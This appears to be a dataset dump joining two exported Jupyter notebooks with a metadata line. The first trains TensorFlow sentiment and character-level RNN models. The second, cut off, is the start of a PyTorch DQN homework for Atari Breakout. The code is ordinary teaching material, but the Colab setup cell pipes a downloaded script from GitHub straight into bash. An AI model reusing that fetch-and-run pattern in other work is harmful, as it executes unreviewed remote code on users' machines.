In[5]:\n\n\nimport tensorflow as tf\n\n\nclass SentimentRNN(object):\n    def __init__(self, n_words, seq_len=200,\n                 lstm_size=256, num_layers=1, batch_size=64,\n                 learning_rate=0.0001, embed_size=200):\n        self.n_words = n_words\n        self.seq_len = seq_len\n        self.lstm_size = lstm_size   ## number of hidden units\n        self.num_layers = num_layers\n        self.batch_size = batch_size\n        self.learning_rate = learning_rate\n        self.embed_size = embed_size\n\n        self.g = tf.Graph()\n        with self.g.as_default():\n            tf.set_random_seed(123)\n            self.build()\n            self.saver = tf.train.Saver()\n            self.init_op = tf.global_variables_initializer()\n\n    def build(self):\n        ## Define the placeholders\n        tf_x = tf.placeholder(tf.int32,\n                    shape=(self.batch_size, self.seq_len),\n                    name='tf_x')\n        tf_y = tf.placeholder(tf.float32,\n                    shape=(self.batch_size),\n                    name='tf_y')\n        tf_keepprob = tf.placeholder(tf.float32,\n                    name='tf_keepprob')\n        ## Create the embedding layer\n        embedding = tf.Variable(\n                    tf.random_uniform(\n                        (self.n_words, self.embed_size),\n                        minval=-1, maxval=1),\n                    name='embedding')\n        embed_x = tf.nn.embedding_lookup(\n                    embedding, tf_x, \n                    name='embeded_x')\n\n        ## Define LSTM cell and stack them together\n        cells = tf.contrib.rnn.MultiRNNCell(\n                [tf.contrib.rnn.DropoutWrapper(\n                   tf.contrib.rnn.BasicLSTMCell(self.lstm_size),\n                   output_keep_prob=tf_keepprob)\n                 for i in range(self.num_layers)])\n\n        ## Define the initial state:\n        self.initial_state = cells.zero_state(\n                 self.batch_size, tf.float32)\n        print('  << initial state >> ', self.initial_state)\n\n        lstm_outputs, self.final_state = tf.nn.dynamic_rnn(\n                 cells, embed_x,\n                 initial_state=self.initial_state)\n        ## Note: lstm_outputs shape: \n        ##  [batch_size, max_time, cells.output_size]\n        print('\\n  << lstm_output   >> ', lstm_outputs)\n        print('\\n  << final state   >> ', self.final_state)\n\n        ## Apply a FC layer after on top of RNN output:\n        logits = tf.layers.dense(\n                 inputs=lstm_outputs[:, -1],\n                 units=1, activation=None,\n                 name='logits')\n        \n        logits = tf.squeeze(logits, name='logits_squeezed')\n        print ('\\n  << logits        >> ', logits)\n        \n        y_proba = tf.nn.sigmoid(logits, name='probabilities')\n        predictions = {\n            'probabilities': y_proba,\n            'labels' : tf.cast(tf.round(y_proba), tf.int32,\n                 name='labels')\n        }\n        print('\\n  << predictions   >> ', predictions)\n\n        ## Define the cost function\n        cost = tf.reduce_mean(\n                 tf.nn.sigmoid_cross_entropy_with_logits(\n                 labels=tf_y, logits=logits),\n                 name='cost')\n        \n        ## Define the optimizer\n        optimizer = tf.train.AdamOptimizer(self.learning_rate)\n        train_op = optimizer.minimize(cost, name='train_op')\n\n    def train(self, X_train, y_train, num_epochs):\n        with tf.Session(graph=self.g) as sess:\n            sess.run(self.init_op)\n            iteration = 1\n            for epoch in range(num_epochs):\n                state = sess.run(self.initial_state)\n                \n                for batch_x, batch_y in create_batch_generator(\n                            X_train, y_train, self.batch_size):\n                    feed = {'tf_x:0': batch_x,\n                            'tf_y:0': batch_y,\n                            'tf_keepprob:0': 0.5,\n                            self.initial_state : state}\n                    loss, _, state = sess.run(\n                            ['cost:0', 'train_op', \n                             self.final_state],\n                            feed_dict=feed)\n\n                    if iteration % 20 == 0:\n                        print(\"Epoch: %d/%d Iteration: %d \"\n                              \"| Train loss: %.5f\" % (\n                               epoch + 1, num_epochs,\n                               iteration, loss))\n\n                    iteration +=1\n                if (epoch+1)%10 == 0:\n                    self.saver.save(sess,\n                        \"model/sentiment-%d.ckpt\" % epoch)\n\n    def predict(self, X_data, return_proba=False):\n        preds = []\n        with tf.Session(graph = self.g) as sess:\n            self.saver.restore(\n                sess, tf.train.latest_checkpoint('model/'))\n            test_state = sess.run(self.initial_state)\n            for ii, batch_x in enumerate(\n                create_batch_generator(\n                    X_data, None, batch_size=self.batch_size), 1):\n                feed = {'tf_x:0' : batch_x,\n                        'tf_keepprob:0': 1.0,\n                        self.initial_state : test_state}\n                if return_proba:\n                    pred, test_state = sess.run(\n                        ['probabilities:0', self.final_state],\n                        feed_dict=feed)\n                else:\n                    pred, test_state = sess.run(\n                        ['labels:0', self.final_state],\n                        feed_dict=feed)\n                    \n                preds.append(pred)\n                \n        return np.concatenate(preds)\n\n\n# #### Step 1: Defining multilayer RNN cells\n\n# #### Step 2: Defining the initial states for the RNN cells\n# \n\n# #### Step 3: Creating the recurrent neural network using the RNN cells and their states\n# \n# \n\n# In[6]:\n\n\n## Train:\n\nn_words = max(list(word_to_int.values())) + 1\n\nrnn = SentimentRNN(n_words=n_words, \n                   seq_len=sequence_length,\n                   embed_size=256, \n                   lstm_size=128, \n                   num_layers=1, \n                   batch_size=100, \n                   learning_rate=0.001)\n\n\n# In[7]:\n\n\nrnn.train(X_train, y_train, num_epochs=40)\n\n\n# In[ ]:\n\n\n## Test: \npreds = rnn.predict(X_test)\ny_true = y_test[:len(preds)]\nprint('Test Acc.: %.3f' % (\n      np.sum(preds == y_true) / len(y_true)))\n\n\n# In[ ]:\n\n\n## Get probabilities:\nproba = rnn.predict(X_test, return_proba=True)\n\n\n# ## Example application: character-level language modeling\n\n# In[13]:\n\n\n\n\n# ### Preparing the data\n# \n\n# In[14]:\n\n\n\n\n# In[15]:\n\n\n\n\n# In[16]:\n\n\n\n\n# In[1]:\n\n\nimport numpy as np\n\n\n## Reading and processing text\nwith open('pg2265.txt', 'r', encoding='utf-8') as f: \n    text=f.read()\n\ntext = text[15858:]\nchars = set(text)\nchar2int = {ch:i for i,ch in enumerate(chars)}\nint2char = dict(enumerate(chars))\ntext_ints = np.array([char2int[ch] for ch in text], \n                     dtype=np.int32)\n\n\n# In[ ]:\n\n\n## @Readers: PLEASE IGNORE THIS CELL\n##\n## This cell is meant to shrink the\n## dataset when this notebook is run \n## on the Travis Continuous Integration\n## platform to test the code as well as\n## speeding up the run using a smaller\n## dataset for debugging\n\nif 'TRAVIS' in os.environ:\n    text = text[:1000]\n    chars = set(text)\n    char2int = {ch:i for i,ch in enumerate(chars)}\n    int2char = dict(enumerate(chars))\n    text_ints = np.array([char2int[ch] for ch in text], \n                         dtype=np.int32)\n\n\n# In[2]:\n\n\ndef reshape_data(sequence, batch_size, num_steps):\n    tot_batch_length = batch_size * num_steps\n    num_batches = int(len(sequence) / tot_batch_length)\n    if num_batches*tot_batch_length + 1 > len(sequence):\n        num_batches = num_batches - 1\n    ## Truncate the sequence at the end to get rid of \n    ## remaining charcaters that do not make a full batch\n    x = sequence[0 : num_batches*tot_batch_length]\n    y = sequence[1 : num_batches*tot_batch_length + 1]\n    ## Split x & y into a list batches of sequences: \n    x_batch_splits = np.split(x, batch_size)\n    y_batch_splits = np.split(y, batch_size)\n    ## Stack the batches together\n    ## batch_size x tot_batch_length\n    x = np.stack(x_batch_splits)\n    y = np.stack(y_batch_splits)\n    \n    return x, y\n\n## Testing:\ntrain_x, train_y = reshape_data(text_ints, 64, 10)\nprint(train_x.shape)\nprint(train_x[0, :10])\nprint(train_y[0, :10])\nprint(''.join(int2char[i] for i in train_x[0, :50]))\n\n\n# In[3]:\n\n\nnp.random.seed(123)\n\ndef create_batch_generator(data_x, data_y, num_steps):\n    batch_size, tot_batch_length = data_x.shape    \n    num_batches = int(tot_batch_length/num_steps)\n    for b in range(num_batches):\n        yield (data_x[:, b*num_steps: (b+1)*num_steps], \n               data_y[:, b*num_steps: (b+1)*num_steps])\n        \nbgen = create_batch_generator(train_x[:,:100], train_y[:,:100], 15)\nfor b in bgen:\n    print(b[0].shape, b[1].shape, end='  ')\n    print(''.join(int2char[i] for i in b[0][0,:]).replace('\\n', '*'), '    ',\n          ''.join(int2char[i] for i in b[1][0,:]).replace('\\n', '*'))\n\n\n# ### Building the character-level RNN model\n\n# In[4]:\n\n\nimport tensorflow as tf\nimport os\n\nclass CharRNN(object):\n    def __init__(self, num_classes, batch_size=64, \n                 num_steps=100, lstm_size=128, \n                 num_layers=1, learning_rate=0.001, \n                 keep_prob=0.5, grad_clip=5, \n                 sampling=False):\n        self.num_classes = num_classes\n        self.batch_size = batch_size\n        self.num_steps = num_steps\n        self.lstm_size = lstm_size\n        self.num_layers = num_layers\n        self.learning_rate = learning_rate\n        self.keep_prob = keep_prob\n        self.grad_clip = grad_clip\n        \n        self.g = tf.Graph()\n        with self.g.as_default():\n            tf.set_random_seed(123)\n\n            self.build(sampling=sampling)\n            self.saver = tf.train.Saver()\n            self.init_op = tf.global_variables_initializer()\n            \n    def build(self, sampling):\n        if sampling == True:\n            batch_size, num_steps = 1, 1\n        else:\n            batch_size = self.batch_size\n            num_steps = self.num_steps\n\n        tf_x = tf.placeholder(tf.int32, \n                              shape=[batch_size, num_steps], \n                              name='tf_x')\n        tf_y = tf.placeholder(tf.int32, \n                              shape=[batch_size, num_steps], \n                              name='tf_y')\n        tf_keepprob = tf.placeholder(tf.float32, \n                              name='tf_keepprob')\n\n        # One-hot encoding:\n        x_onehot = tf.one_hot(tf_x, depth=self.num_classes)\n        y_onehot = tf.one_hot(tf_y, depth=self.num_classes)\n\n        ### Build the multi-layer RNN cells\n        cells = tf.contrib.rnn.MultiRNNCell(\n            [tf.contrib.rnn.DropoutWrapper(\n                tf.contrib.rnn.BasicLSTMCell(self.lstm_size), \n                output_keep_prob=tf_keepprob) \n            for _ in range(self.num_layers)])\n        \n        ## Define the initial state\n        self.initial_state = cells.zero_state(\n                    batch_size, tf.float32)\n\n        ## Run each sequence step through the RNN \n        lstm_outputs, self.final_state = tf.nn.dynamic_rnn(\n                    cells, x_onehot, \n                    initial_state=self.initial_state)\n        \n        print('  << lstm_outputs  >>', lstm_outputs)\n\n        seq_output_reshaped = tf.reshape(\n                    lstm_outputs, \n                    shape=[-1, self.lstm_size],\n                    name='seq_output_reshaped')\n\n        logits = tf.layers.dense(\n                    inputs=seq_output_reshaped, \n                    units=self.num_classes,\n                    activation=None,\n                    name='logits')\n\n        proba = tf.nn.softmax(\n                    logits, \n                    name='probabilities')\n        print(proba)\n\n        y_reshaped = tf.reshape(\n                    y_onehot, \n                    shape=[-1, self.num_classes],\n                    name='y_reshaped')\n        cost = tf.reduce_mean(\n                    tf.nn.softmax_cross_entropy_with_logits(\n                        logits=logits, \n                        labels=y_reshaped),\n                    name='cost')\n\n        # Gradient clipping to avoid \"exploding gradients\"\n        tvars = tf.trainable_variables()\n        grads, _ = tf.clip_by_global_norm(\n                    tf.gradients(cost, tvars), \n                    self.grad_clip)\n        optimizer = tf.train.AdamOptimizer(self.learning_rate)\n        train_op = optimizer.apply_gradients(\n                    zip(grads, tvars),\n                    name='train_op')\n        \n    def train(self, train_x, train_y, \n              num_epochs, ckpt_dir='./model/'):\n        ## Create the checkpoint directory\n        ## if does not exists\n        if not os.path.exists(ckpt_dir):\n            os.mkdir(ckpt_dir)\n            \n        with tf.Session(graph=self.g) as sess:\n            sess.run(self.init_op)\n\n            n_batches = int(train_x.shape[1]/self.num_steps)\n            iterations = n_batches * num_epochs\n            for epoch in range(num_epochs):\n\n                # Train network\n                new_state = sess.run(self.initial_state)\n                loss = 0\n                ## Minibatch generator:\n                bgen = create_batch_generator(\n                        train_x, train_y, self.num_steps)\n                for b, (batch_x, batch_y) in enumerate(bgen, 1):\n                    iteration = epoch*n_batches + b\n                    \n                    feed = {'tf_x:0': batch_x,\n                            'tf_y:0': batch_y,\n                            'tf_keepprob:0': self.keep_prob,\n                            self.initial_state : new_state}\n                    batch_cost, _, new_state = sess.run(\n                            ['cost:0', 'train_op', \n                                self.final_state],\n                            feed_dict=feed)\n                    if iteration % 10 == 0:\n                        print('Epoch %d/%d Iteration %d'\n                              '| Training loss: %.4f' % (\n                              epoch + 1, num_epochs, \n                              iteration, batch_cost))\n\n                ## Save the trained model    \n                self.saver.save(\n                        sess, os.path.join(\n                            ckpt_dir, 'language_modeling.ckpt'))\n                              \n                              \n                \n    def sample(self, output_length, \n               ckpt_dir, starter_seq=\"The \"):\n        observed_seq = [ch for ch in starter_seq]        \n        with tf.Session(graph=self.g) as sess:\n            self.saver.restore(\n                sess, \n                tf.train.latest_checkpoint(ckpt_dir))\n            ## 1: run the model using the starter sequence\n            new_state = sess.run(self.initial_state)\n            for ch in starter_seq:\n                x = np.zeros((1, 1))\n                x[0,0] = char2int[ch]\n                feed = {'tf_x:0': x,\n                        'tf_keepprob:0': 1.0,\n                        self.initial_state: new_state}\n                proba, new_state = sess.run(\n                        ['probabilities:0', self.final_state], \n                        feed_dict=feed)\n\n            ch_id = get_top_char(proba, len(chars))\n            observed_seq.append(int2char[ch_id])\n            \n            ## 2: run the model using the updated observed_seq\n            for i in range(output_length):\n                x[0,0] = ch_id\n                feed = {'tf_x:0': x,\n                        'tf_keepprob:0': 1.0,\n                        self.initial_state: new_state}\n                proba, new_state = sess.run(\n                        ['probabilities:0', self.final_state], \n                        feed_dict=feed)\n\n                ch_id = get_top_char(proba, len(chars))\n                observed_seq.append(int2char[ch_id])\n\n        return ''.join(observed_seq)\n\n\n# In[5]:\n\n\ndef get_top_char(probas, char_size, top_n=5):\n    p = np.squeeze(probas)\n    p[np.argsort(p)[:-top_n]] = 0.0\n    p = p / np.sum(p)\n    ch_id = np.random.choice(char_size, 1, p=p)[0]\n    return ch_id\n\n\n# In[6]:\n\n\nbatch_size = 64\nnum_steps = 100 \ntrain_x, train_y = reshape_data(text_ints, \n                                batch_size, \n                                num_steps)\n\nrnn = CharRNN(num_classes=len(chars), batch_size=batch_size)\nrnn.train(train_x, train_y, \n          num_epochs=100,\n          ckpt_dir='./model-100/')\n\n\n# In[7]:\n\n\nnp.random.seed(123)\nrnn = CharRNN(len(chars), sampling=True)\n\nprint(rnn.sample(ckpt_dir='./model-100/', \n                 output_length=500))\n\n\n# In[8]:\n\n\n## run for 200 epochs\nbatch_size = 64\nnum_steps = 100 \n\nrnn = CharRNN(num_classes=len(chars), batch_size=batch_size)\nrnn.train(train_x, train_y, \n          num_epochs=200,\n          ckpt_dir='./model-200/')\n\n\n# In[9]:\n\n\ndel rnn\n\nnp.random.seed(123)\nrnn = CharRNN(len(chars), sampling=True)\nprint(rnn.sample(ckpt_dir='./model-200/', \n                 output_length=500))\n\n\n# # Summary\n\n# ...\n\n# ---\n# \n# Readers may ignore the next cell.\n\n# In[ ]:\n\n\n\n", "meta": {"hexsha": "4e0880c2fb609d8ae8a4635a0baa1a2daf3c5035", "size": 23863, "ext": "py", "lang": "Python", "max_stars_repo_path": "MachineLearningBooks/PyML Example Code/Chapter16/ch16.py", "max_stars_repo_name": "alexdarch/PythonProjects", "max_stars_repo_head_hexsha": "0905326865efd20e922eba47aedb983bf0844b64", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2018-06-13T10:49:48.000Z", "max_stars_repo_stars_event_max_datetime": "2018-06-13T10:49:48.000Z", "max_issues_repo_path": "MachineLearningBooks/PyML Example Code/Chapter16/ch16.py", "max_issues_repo_name": "alexdarch/PythonProjects", "max_issues_repo_head_hexsha": "0905326865efd20e922eba47aedb983bf0844b64", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "MachineLearningBooks/PyML Example Code/Chapter16/ch16.py", "max_forks_repo_name": "alexdarch/PythonProjects", "max_forks_repo_head_hexsha": "0905326865efd20e922eba47aedb983bf0844b64", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 28.6127098321, "max_line_length": 179, "alphanum_fraction": 0.5718895361, "include": true, "reason": "import numpy", "num_tokens": 5568, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.48438008427698437, "lm_q2_score": 0.15405756463346182, "lm_q1q2_score": 0.0746224161406632}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# # Deep Q-Network implementation.\n# \n# This homework shamelessly demands you to implement DQN \u2014 an approximate Q-learning algorithm with experience replay and target networks \u2014 and see if it works any better this way.\n# \n# Original paper:\n# https://arxiv.org/pdf/1312.5602.pdf\n\n# **This notebook is the main notebook.** Another notebook is given for debug. (**homework_pytorch_main**). The tasks are similar and share most of the code. The main difference is in environments. In main notebook it can take some 2 hours for the agent to start improving so it seems reasonable to launch the algorithm on a simpler env first. In debug one it is CartPole and it will train in several minutes.\n# \n# **We suggest the following pipeline:** First implement debug notebook then implement the main one.\n# \n# **About evaluation:** All points are given for the main notebook with one exception: if agent fails to beat the threshold in main notebook you can get 1 pt (instead of 3 pts) for beating the threshold in debug notebook.\n\n# In[1]:\n\n\nimport sys, os\nif 'google.colab' in sys.modules and not os.path.exists('.setup_complete'):\n    get_ipython().system('wget -q https://raw.githubusercontent.com/yandexdataschool/Practical_RL/master/setup_colab.sh -O- | bash')\n        \n    get_ipython().system('wget -q https://raw.githubusercontent.com/yandexdataschool/Practical_RL/master/week04_approx_rl/atari_wrappers.py')\n    get_ipython().system('wget -q https://raw.githubusercontent.com/yandexdataschool/Practical_RL/master/week04_approx_rl/utils.py')\n    get_ipython().system('wget -q https://raw.githubusercontent.com/yandexdataschool/Practical_RL/master/week04_approx_rl/replay_buffer.py')\n    get_ipython().system('wget -q https://raw.githubusercontent.com/yandexdataschool/Practical_RL/master/week04_approx_rl/framebuffer.py')\n\n    get_ipython().system('touch .setup_complete')\n\n# This code creates a virtual display to draw game images on.\n# It will have no effect if your machine has a monitor.\nif type(os.environ.get(\"DISPLAY\")) is not str or len(os.environ.get(\"DISPLAY\")) == 0:\n    get_ipython().system('bash ../xvfb start')\n    os.environ['DISPLAY'] = ':1'\n\n\n# __Frameworks__ - we'll accept this homework in any deep learning framework. This particular notebook was designed for PyTorch, but you find it easy to adapt it to almost any Python-based deep learning framework.\n\n# In[2]:\n\n\nimport random\nimport numpy as np\nimport torch\nimport utils\n\n\n# In[3]:\n\n\nimport gym\nimport numpy as np\nimport matplotlib.pyplot as plt\n# %matplotlib inline\n\n\n# ### Let's play some old videogames\n# ![img](https://github.com/yandexdataschool/Practical_RL/raw/master/yet_another_week/_resource/nerd.png)\n# \n# This time we're gonna apply approximate Q-learning to an Atari game called Breakout. It's not the hardest thing out there, but it's definitely way more complex than anything we tried before.\n# \n\n# In[4]:\n\n\nENV_NAME = \"BreakoutNoFrameskip-v4\"\n\n\n# ## Preprocessing (3 pts)\n\n# Let's see what observations look like.\n\n# In[5]:\n\n\nenv = gym.make(ENV_NAME)\nenv.reset()\n\nn_cols = 5\nn_rows = 2\nfig = plt.figure(figsize=(16, 9))\n\nfor row in range(n_rows):\n    for col in range(n_cols):\n        ax = fig.add_subplot(n_rows, n_cols, row * n_cols + col + 1)\n        ax.imshow(env.render('rgb_array'))\n        env.step(env.action_space.sample())\nplt.show()\n\n\n# **Let's play a little.**\n# \n# Pay attention to zoom and fps args of play function. Control: A, D, space.\n\n# In[6]:\n\n\n# # Does not work in Colab.\n# # Use KeyboardInterrupt (Kernel \u2192 Interrupt in Jupyter) to continue.\n\n# from gym.utils.play import play\n\n# play(env=gym.make(ENV_NAME), zoom=5, fps=30)\n\n\n# ### Processing game image \n# \n# Raw Atari images are large, 210x160x3 by default. However, we don't need that level of detail in order to learn from them.\n# \n# We can thus save a lot of time by preprocessing game image, including\n# * Resizing to a smaller shape, 64x64\n# * Converting to grayscale\n# * Cropping irrelevant image parts (top, bottom and edges)\n# \n# Also please keep one dimension for channel so that final shape would be 1x64x64.\n# \n# Tip: You can implement your own grayscale converter and assign a huge weight to the red channel. This dirty trick is not necessary but it will speed up learning.\n\n# In[7]:\n\n\nfrom gym.core import ObservationWrapper\nfrom gym.spaces import Box\nimport cv2\n\n\nclass PreprocessAtariObs(ObservationWrapper):\n    def __init__(self, env):\n        \"\"\"A gym wrapper that crops, scales image into the desired shapes and grayscales it.\"\"\"\n        ObservationWrapper.__init__(self, env)\n\n        self.img_size = (1, 64, 64)\n        self.observation_space = Box(0.0, 1.0, self.img_size)\n\n\n    def _to_gray_scale(self, rgb, channel_weights=[0.8, 0.1, 0.1]):\n        return np.dot(rgb, channel_weights)[np.newaxis]\n\n\n    def observation(self, img):\n        \"\"\"what happens to each observation\"\"\"\n\n        # Here's what you need to do:\n        #  * crop image, remove irrelevant parts\n        #  * resize image to self.img_size\n        #     (Use imresize from any library you want,\n        #      e.g. opencv, PIL, keras. Don't use skimage.imresize\n        #      because it is extremely slow.)\n        #  * cast image to grayscale\n        #  * convert image pixels to (0,1) range, float32 type\n        img = img[50:, 10:-10]\n        img = cv2.resize(img, (self.img_size[1:]))\n        img = self._to_gray_scale(img).astype(np.float32)\n        img = (img - img.min()) / (img.max() - img.min())\n        return img\n\n\n# In[8]:\n\n\nimport gym\n# spawn game instance for tests\nenv = gym.make(ENV_NAME)  # create raw env\nenv = PreprocessAtariObs(env)\nobservation_shape = env.observation_space.shape\nn_actions = env.action_space.n\nenv.reset()\nobs, _, _, _ = env.step(env.action_space.sample())\n\n# test observation\nassert obs.ndim == 3, \"observation must be [channel, h, w] even if there's just one channel\"\nassert obs.shape == observation_shape, obs.shape\nassert obs.dtype == 'float32'\nassert len(np.unique(obs)) > 2, \"your image must not be binary\"\nassert 0 <= np.min(obs) and np.max(\n    obs) <= 1, \"convert image pixels to [0,1] range\"\n\nassert np.max(obs) >= 0.5, \"It would be easier to see a brighter observation\"\nassert np.mean(obs) >= 0.1, \"It would be easier to see a brighter observation\"\n\nprint(\"Formal tests seem fine. Here's an example of what you'll get.\")\n\nn_cols = 5\nn_rows = 2\nfig = plt.figure(figsize=(16, 9))\nobs = env.reset()\nfor row in range(n_rows):\n    for col in range(n_cols):\n        ax = fig.add_subplot(n_rows, n_cols, row * n_cols + col + 1)\n        ax.imshow(obs[0, :, :], interpolation='none', cmap='gray')\n        obs, _, _, _ = env.step(env.action_space.sample())\nplt.show()\n\n\n# ### Wrapping.\n\n# **About the game:** You have 5 lives and get points for breaking the wall. Higher bricks cost more than the lower ones. There are 4 actions: start game (should be called at the beginning and after each life is lost), move left, move right and do nothing. There are some common wrappers used for Atari environments.\n\n# In[9]:\n\n\nimport atari_wrappers\n\ndef PrimaryAtariWrap(env, clip_rewards=True):\n    assert 'NoFrameskip' in env.spec.id\n\n    # This wrapper holds the same action for <skip> frames and outputs\n    # the maximal pixel value of 2 last frames (to handle blinking\n    # in some envs)\n    env = atari_wrappers.MaxAndSkipEnv(env, skip=4)\n\n    # This wrapper sends done=True when each life is lost\n    # (not all the 5 lives that are givern by the game rules).\n    # It should make easier for the agent to understand that losing is bad.\n    env = atari_wrappers.EpisodicLifeEnv(env)\n\n    # This wrapper laucnhes the ball when an episode starts.\n    # Without it the agent has to learn this action, too.\n    # Actually it can but learning would take longer.\n    env = atari_wrappers.FireResetEnv(env)\n\n    # This wrapper transforms rewards to {-1, 0, 1} according to their sign\n    if clip_rewards:\n        env = atari_wrappers.ClipRewardEnv(env)\n\n    # This wrapper is yours :)\n    env = PreprocessAtariObs(env)\n    return env\n\n\n# **Let's see if the game is still playable after applying the wrappers.**\n# At playing the EpisodicLifeEnv wrapper seems not to work but actually it does (because after when life finishes a new ball is dropped automatically - it means that FireResetEnv wrapper understands that a new episode began).\n\n# In[10]:\n\n\n# # Does not work in Colab.\n# # Use KeyboardInterrupt (Kernel \u2192 Interrupt in Jupyter) to continue.\n\n# from gym.utils.play import play\n\n# def make_play_env():\n#     env = gym.make(ENV_NAME)\n#     env = PrimaryAtariWrap(env)\n# # in PyTorch images have shape [c, h, w] instead of common [h, w, c]\n#     env = atari_wrappers.AntiTorchWrapper(env)\n#     return env\n\n# play(make_play_env(), zoom=3, fps=5)\n\n\n# ### Frame buffer\n# \n# Our agent can only process one observation at a time, so we gotta make sure it contains enough information to find optimal actions. For instance, agent has to react to moving objects so it must be able to measure object's velocity.\n# \n# To do so, we introduce a buffer that stores 4 last images. This time everything is pre-implemented for you, not really by the staff of the course :)\n\n# In[11]:\n\n\nfrom framebuffer import FrameBuffer\n\ndef make_env(clip_rewards=True, seed=None):\n    env = gym.make(ENV_NAME)  # create raw env\n    if seed is not None:\n        env.seed(seed)\n    env = PrimaryAtariWrap(env, clip_rewards)\n    env = FrameBuffer(env, n_frames=4, dim_order='pytorch')\n    return env\n\nenv = make_env()\nenv.reset()\nn_actions = env.action_space.n\nstate_shape = env.observation_space.shape\n\n\n# In[12]:\n\n\nfor _ in range(12):\n    obs, _, _, _ = env.step(env.action_space.sample())\n\nplt.figure(figsize=[12,10])\nplt.title(\"Game image\")\nplt.imshow(env.render(\"rgb_array\"))\nplt.show()\n\nplt.figure(figsize=[15,15])\nplt.title(\"Agent observation (4 frames top to bottom)\")\nplt.imshow(utils.img_by_obs(obs, state_shape), cmap='gray')\nplt.show()\n\n\n# ## DQN as it is (4 pts)\n\n# ### Building a network\n# \n# We now need to build a neural network that can map images to state q-values. This network will be called on every agent's step so it better not be resnet-152 unless you have an array of GPUs. Instead, you can use strided convolutions with a small number of features to save time and memory.\n# \n# You can build any architecture you want, but for reference, here's something that will more or less work:\n\n# ![img](https://github.com/yandexdataschool/Practical_RL/raw/master/yet_another_week/_resource/dqn_arch.png)\n\n# **Dueling network: (+2 pts)**\n# $$Q_{\\theta}(s, a) = V_{\\eta}(f_{\\xi}(s)) + A_{\\psi}(f_{\\xi}(s), a) - \\frac{\\sum_{a'}A_{\\psi}(f_{\\xi}(s), a')}{N_{actions}},$$\n# where $\\xi$, $\\eta$, and $\\psi$ are, respectively, the parameters of the\n# shared encoder $f_\u03be$ , of the value stream $V_\\eta$ , and of the advan\n# tage stream $A_\\psi$; and $\\theta = \\{\\xi, \\eta, \\psi\\}$ is their concatenation.\n# \n# For the architecture on the image $V$ and $A$ heads can follow the dense layer instead of $Q$. Please don't worry that the model becomes a little bigger.\n\n# In[13]:\n\n\nimport torch\nimport torch.nn as nn\ndevice = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\n# those who have a GPU but feel unfair to use it can uncomment:\n# device = torch.device('cpu')\ndevice\n\n\n# In[14]:\n\n\ndef conv2d_size_out(size, kernel_size, stride):\n    \"\"\"\n    common use case:\n    cur_layer_img_w = conv2d_size_out(cur_layer_img_w, kernel_size, stride)\n    cur_layer_img_h = conv2d_size_out(cur_layer_img_h, kernel_size, stride)\n    to understand the shape for dense layer's input\n    \"\"\"\n    return (size - (kernel_size - 1) - 1) // stride  + 1\n\n\n# In[15]:\n\n\nclass DQNAgent(nn.Module):\n    def __init__(self, state_shape, n_actions, epsilon=0):\n\n        super().__init__()\n        self.epsilon = epsilon\n        self.n_actions = n_actions\n        self.state_shape = state_shape\n\n        # Define your network body here. Please make sure agent is fully contained here\n        # nn.Flatten() can be useful\n        self.conv_part = nn.Sequential(nn.Conv2d(4, 16, 3, padding=1, stride=2),\n                                       nn.ReLU(),\n                                       nn.Conv2d(16, 32, 3, padding=1, stride=2),\n                                       nn.ReLU(),\n                                       nn.Conv2d(32, 64, 3, padding=1, stride=2),\n                                       nn.ReLU()\n                                       )\n        self.fc_part = nn.Sequential(nn.Linear(4096, 256),\n                                     nn.ReLU(),\n                                     nn.Linear(256, self.n_actions)\n                                     )\n        \n\n    def forward(self, state_t):\n        \"\"\"\n        takes agent's observation (tensor), returns qvalues (tensor)\n        :param state_t: a batch of 4-frame buffers, shape = [batch_size, 4, h, w]\n        \"\"\"\n        # Use your network to compute qvalues for given state\n        features = self.conv_part(state_t)\n        flat = features.reshape(state_t.shape[0], -1)\n        qvalues = self.fc_part(flat)\n\n        assert qvalues.requires_grad, \"qvalues must be a torch tensor with grad\"\n        assert (\n            len(qvalues.shape) == 2 and \n            qvalues.shape[0] == state_t.shape[0] and \n            qvalues.shape[1] == n_actions\n        )\n\n        return qvalues\n\n    def get_qvalues(self, states):\n        \"\"\"\n        like forward, but works on numpy arrays, not tensors\n        \"\"\"\n        model_device = next(self.parameters()).device\n        states = torch.tensor(states, device=model_device, dtype=torch.float32)\n        qvalues = self.forward(states)\n        return qvalues.data.cpu().numpy()\n\n    def sample_actions(self, qvalues):\n        \"\"\"pick actions given qvalues. Uses epsilon-greedy exploration strategy. \"\"\"\n        epsilon = self.epsilon\n        batch_size, n_actions = qvalues.shape\n\n        random_actions = np.random.choice(n_actions, size=batch_size)\n        best_actions = qvalues.argmax(axis=-1)\n\n        should_explore = np.random.choice(\n            [0, 1], batch_size, p=[1-epsilon, epsilon])\n        return np.where(should_explore, random_actions, best_actions)\n\n\n# In[16]:\n\n\nagent = DQNAgent(state_shape, n_actions, epsilon=0.5).to(device)\n\n\n# Now let's try out our agent to see if it raises any errors.\n\n# In[17]:\n\n\ndef evaluate(env, agent, n_games=1, greedy=False, t_max=10000):\n    \"\"\" Plays n_games full games. If greedy, picks actions as argmax(qvalues). Returns mean reward. \"\"\"\n    rewards = []\n    for _ in range(n_games):\n        s = env.reset()\n        reward = 0\n        for _ in range(t_max):\n            qvalues = agent.get_qvalues([s])\n            action = qvalues.argmax(axis=-1)[0] if greedy else agent.sample_actions(qvalues)[0]\n            s, r, done, _ = env.step(action)\n            reward += r\n            if done:\n                break\n\n        rewards.append(reward)\n    return np.mean(rewards)\n\n\n# In[18]:\n\n\nevaluate(env, agent, n_games=1)\n\n\n# ### Experience replay\n# For this assignment, we provide you with experience replay buffer. If you implemented experience replay buffer in last week's assignment, you can copy-paste it here **to get 2 bonus points**.\n# \n# ![img](https://github.com/yandexdataschool/Practical_RL/raw/master/yet_another_week/_resource/exp_replay.png)\n\n# #### The interface is fairly simple:\n# * `exp_replay.add(obs, act, rw, next_obs, done)` - saves (s,a,r,s',done) tuple into the buffer\n# * `exp_replay.sample(batch_size)` - returns observations, actions, rewards, next_observations and is_done for `batch_size` random 